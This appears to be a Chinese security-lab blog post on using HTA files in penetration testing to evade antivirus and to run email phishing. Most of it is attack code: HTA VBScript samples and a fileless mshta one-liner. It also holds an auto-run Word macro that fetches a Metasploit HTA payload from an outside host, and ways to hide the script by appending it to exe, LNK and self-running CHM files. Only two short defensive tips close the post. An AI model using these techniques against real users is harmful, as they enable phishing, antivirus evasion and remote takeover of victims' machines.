点击上方“蓝字”关注我们
本文作者:jokelove(Ms08067内网安全小组成员)
0x01 基础
HTA是HTML Application的缩写,本⽂介绍HTA在内⽹渗透中的⼏种运⽤。
⼀个简单的VB脚本
HTA⽂件可以解析javascript和VB,因此在内⽹中可以⽤来绕过杀软或是实现邮件钓⻥。
<!--test1.hta-->
<html>
<head>
<title>ONE-简单脚本 </title>
</head>
<body>
<center>
<p>
HTA
HTMLApplication
HTML TEST
</p>
</center>
</body>
<script LANGUAGE="VBScript">
// 开启⼀个计算器
CreateObject("WScript.Shell").run("calc")
</script>
</html>
通过执⾏: mshta %cd%/test.hta 可以看到弹出⼀个计算器。
双击时,会弹出hta⽂件的框,有时候为了避免弹出这个框,可以在hta⽂件中添加样式:
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no"SYSMENU="no" CAPTION="no" />
⽆⽂件执⾏hta
mshta命令可以⽤来直接解析VBScript代码,因此可以在cmd中直接输⼊:
mshta.exe javascript:"<script
LANGUAGE="VBScript">CreateObject("WScript.Shell").run("calc")rn
close()</script>"
mshta.exe 的默认路径在%windir%system32mshta.exe and %windir%syswow64mshta.exe
⼩案例 - ⽣成钓⻥⽂件
利⽤metasploit⽣成⼀个hta⽂件
在word中开启宏命令进⾏下载:
脚本如下:
Sub Test()
PID = Shell("mshta.exe http://10.211.55.9:8080/XsFTbf3GZYiiz.ht
a")
End Sub
Sub Auto_Open()
Test
END Sub
剩下就是等待⽬标上线了。
0x02 对HTA的⽂件的隐藏
由于MSHTA对不同后缀的hta⽂件处理有所差异,我们可以通过修改后缀名的⽅式来进⼀步隐藏我们的脚本。第⼀种常⻅的⽅式是将 .hta 修改为 .html 。这种只能通过双击(Miscosoft浏览器下)或者mshta.exe 命令执⾏的⽅式来运⾏我们的hta脚本。
为脚本加上图标
默认的图标过于简单,很难吸引⼈去点击。因此,需要做⼀些⼩优化:
copy /b beauty.ico+test.hta test_with_beauty.hta
在hta⽂件中需要加上:
<HTA:APPLICATION icon="#" />
需要注意的是:
图标只可以在命令⾏上显示,在桌⾯上仍然没有图标
因此,我们必须寻找其它⽅法
和exe⽂件进⾏拼接
copy /b %windir%system32calc.exe+test.hta calc2.exe
calc2.exe # 正常运⾏计算机程序
mshta %cd%calc2.exe # 执⾏的是HTA脚本
这样,我们可以在exe中绑定⼀个hta⽂件。
实战场景中,我们可以绑定⼀个exe,并且添加可以调⽤mshta执⾏脚本的代码。也可以通过shellcode注⼊的⽅式来修改常⻅的exe
使⽤LNK快捷⽅式
合上述讨论⼀致,通过:
Copy /b readme.txt.lnk+test.hta readme2.txt.lnk
点击 readme2.txt.lnk 时正常打开readme.txt
使⽤mshta readme2.txt.lnk时,执⾏我们的脚本
和帮助⽂件进⾏拼接
上述的两种⽅式,都需要⼿⼯输⼊mshta命令来进⾏运⾏,如果仅仅需要⽤户双击既能运⾏正常的程序,⼜要执⾏我们的脚本,需要⽐较复杂的利⽤链条才能实现。下⾯介绍⼀种简单的⽅法:
⽣成⼀个chm⽂件
下载 HTML Help Workshop
写⼀个HPP(帮助⽂档的描述⽂件)
[OPTIONS]
Compatibility=1.1 or later
Compiled file=hello.chm
Default topic=hello.htm
Display compile progress=No
Language=0x410 Italian (Italy)
[FILES]
hello.htm
[INFOTYPES]
3. 编写Hello.htm
<html>
<title> Hello World! </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db
990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd,/c mshta %CD%hello.chm">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> CHM Example </h2>
<p><h3 align=center> This is a malicious CHM file </h3></p>
</body>
</html
4. 使⽤HTML Help Workshop 编译⽣成 chm⽂件
利⽤代码就时 hello.htm的第10⾏,
,cmd,/c mshta %CD%hello.chm
和hta⽂件进⾏绑定
copy /b hello.chm+test.hta hello.chm
这样就实现了⽤户在点击时,在不影响原有程序的基础上执⾏我们的hta脚本。
0x03 防范策略
1. 禁⽤office上的宏命令
2. 下载⽂件严格做好md5值验证
内网小组持续招人,扫描二维码加入我们!
扫描下方二维码加入星球学习
邀请进入内部微信群,内部微信群永久有效!
本文始发于微信公众号(Ms08067安全实验室):利用HTA文件绕过杀软及邮件钓⻥
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论